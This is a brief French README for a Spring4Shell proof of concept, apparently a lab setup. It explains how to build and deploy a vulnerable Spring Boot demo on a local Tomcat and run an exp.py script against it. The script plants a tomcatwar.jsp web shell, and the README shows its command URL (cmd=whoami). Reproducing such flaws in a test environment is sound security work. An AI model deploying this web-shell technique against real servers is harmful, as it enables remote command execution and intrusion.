POC Spring4Shell

Description de la vulnérabilité : https://www.cyberkendra.com/2022/03/springshell-rce-0-day-vulnerability.html

Construction du POC : https://github.com/BobTheShoplifter/Spring4Shell-POC

Étapes pour construire/exécuter

Testé avec JDK 11.0.14, Spring Boot 2.6.5 et Apache Tomcat 9.0.60

• Exécutez mvn clean package pour construire l'application
• Renommez demo-0.0.1-SNAPSHOT.war en spring-poc.war et copiez ce fichier .war dans le répertoire webapps de Tomcat
• Exécutez python exp.py --url http://localhost:8080/spring-poc/greeting
  • Si cela réussit, le message 漏洞存在，shell地址为:http://localhost:8080/spring-poc/tomcatwar.jsp?pwd=j&cmd=whoami sera enregistré.
  • Vous devriez maintenant voir le fichier tomcatwar.jsp écrit dans le répertoire webapps/spring-poc de Tomcat. Ce répertoire peut être modifié en modifiant exp.py.
    • 
  • Accédez à l'URL pour voir le résultat de la commande shell
    •